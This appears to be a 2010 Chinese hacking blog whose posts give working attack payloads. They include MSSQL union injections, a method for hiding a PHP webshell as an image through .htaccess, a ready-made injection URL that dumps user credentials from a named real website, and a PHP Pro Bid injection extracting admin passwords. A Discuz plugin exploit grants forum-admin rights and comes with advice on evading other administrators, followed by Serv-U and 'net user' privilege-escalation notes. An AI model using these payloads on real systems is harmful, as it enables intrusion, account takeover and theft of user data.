2010年1月28日星期四

MSSQL 分析表名

MSSQL下分析表名的方法:

1。先db_name()分析出数据库名
~and 1=2 union select db_name()

2。接着用以下语句分析表名(假设数据库名为dbname)
~and 1=2 union all select name from dbname..sysobjects WHERE xtype = 'U' AND name NOT IN(SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55)

2010年1月27日星期三

【原创】另类隐藏PHP木马的方法

运行环境:Linux + apache

将php木马后缀改成图片类后缀,然后在木马目录或其根目录创建一个.htaccess文件(或 在原有的.htaccess文件中加入)
<filesmatch "文件名">
SetHandler application/x-httpd-php
</filesmatch>

例:1.jpg
<filesmatch "1.jpg">
SetHandler application/x-httpd-php
</filesmatch>

2010年1月26日星期二

【原创】Blogrankers.com存在SQL Injection 漏洞

一个计算blog 排名的网站
http://www.blogrankers.com

存在SQL Injection漏洞,黑客可以通过该漏洞得到所有用户资料,用户名以及密码

利用方法:
http://www.blogrankers.com/index.php?do=votes&id=10517%27%20and%201=2%20union%20select%20concat%28username,0x3a,password,0x3a,email%29%20from%20evots_user%20limit%200,1%20%20union%20select%201%20from%20evots_site%20where%20site_id=%2710157

如果该站的会员所设定的帐号密码和自身blog的帐号密码一样的话,黑客就能够通过此站点的数据入侵那些会员的blog,这是十分危险的。

2010年1月22日星期五

【原创】PHP Pro Bid 6.03 SQL Injection

版本:PHP Pro Bid 6.03

一个老旧PHP拍卖程序,目前最新版本是6.06。直接看代码:

auction_details.php:
$template->set('msg_changes_saved', $msg_changes_saved);
$item_details['quantity'] = $item->set_quantity($item_details['quantity']);
$custom_fld->save_edit_vars($item_details['owner_id'], $page_handle);
$media_details = $item->get_media_values($_REQUEST['auction_id']);//没有过滤
$item_details['ad_image'] = $media_details['ad_image'];
$item_details['ad_video'] = $media_details['ad_video'];
$template->set('item_details', $item_details);
$template->set('buyout_only', $item->buyout_only($item_details));

includes/class_item.php:
function get_media_values($auction_id, $wanted_ad = false)
{
$output = array('auction_id' => $auction_id, 'ad_image' => null, 'ad_video' => null);
(int) $counter_image = 0;
(int) $counter_video = 0;

$field_type = ($wanted_ad) ? 'wanted_ad_id' : 'auction_id';

//这里就是我们要注入的地方,由于回显是图片,所以media_type必须为1
$sql_select_media = $this->query("SELECT media_url, media_type FROM " . DB_PREFIX ."auction_media WHERE
" . $field_type . "=" . $auction_id . " AND upload_in_progress=0 ORDER BY media_id ASC");
while($media_details = $this->fetch_array($sql_select_media))
{
if ($media_details['media_type'] == 1) // 1 是图片
{
$output['ad_image'][$counter_image++] = $media_details['media_url'];
}
else if ($media_details['media_type'] == 2) // video
{
$output['ad_video'][$counter_video++] = $media_details['media_url'];
}
}
return $output;
}

利用方法:
auction_details.php?name=物品名称& auction_id=物品ID and 1=2 union select concat(username,0x3a,password,0x3a),1 from probid_admins--

Image is broken 的路径包含了管理员账号和密码


这个系统,管理员密码只是用普通的md5加密,但是会员密码却是用md5(md5($password) . $salt)加密,实在令人不解


修复方法:
auction_details.php
$media_details = $item->get_media_values($_REQUEST['auction_id']);

修改为
$media_details = $item->get_media_values(intval($_REQUEST['auction_id']));

2010年1月15日星期五

一个很久的discuz插件漏洞,但马来西亚还有很多论坛使用

插件:黑道生涯
影响版本:2009年8月以前版本都存在此漏洞
漏洞危害:提权成管理员

这是个很久之前的漏洞了,不过马来西亚仍然还有很多论坛没有更新修复此插件的漏洞(至少20个论坛),就发出来分享分享

漏洞利用:
1。先确定黑道生涯的版本,只要是2009年8月1号以前的版本就能
2。注册一个论坛帐号,然后登陆
3。然后打开黑道生涯页面,点击我要加入,之后点击开始黑道生涯
4。按打劫,然后打勾 随机抽取会员目标 ,按提交按钮
5。然后看打劫成功,体力一定要少过100,如果体力是100就继续打劫,直到体力小于100
6。在你的browser address bar (体力必须低于100)打上 http://目标网址 /blackband.php?mode=yule&action=enjoy&id=2 and 1=2 union select 1,0x2D312C67726F757069643D312C61646D696E69643D31,3,4
7。到这里你已经是论坛管理员,可以登陆后台作你想要的事了,在这里最好马上换去隐身状态,以免被其他管理员发现
8。如果要还原为普通用户,在你的browser address bar (体力必须低于100)打上 http://目标网址 /blackband.php?mode=yule&action=enjoy&id=2 and 1=2 union select 1,0x2d312c67726f757069643d31302c61646d696e69643d3130,3,4

2010年1月5日星期二

两个提权时遇到的问题

供参考:
几个礼拜前测试了一个站,但提权失败,今天再次尝试,才发现原来犯下了两个失误。

失误一: ServUDaemon.ini

我把hash前面两个字母去掉后直接去跑彩虹表,结果跑不出密码,原来是因为我没有把hash的大写字母换去小写。。。

失误二: net user test test /add

当我从失误一拿到了serv-u密码后,马上就去尝试提权,但还是失败了。。。之后用该serv-U密码登入3389,才知道失败的原因。
原因就是该站管理员开启了"密码复杂性要求",所有帐号密码都必须要7位数以上,密码中必须包含至少一个大小写英文字母,和一个数字。。。。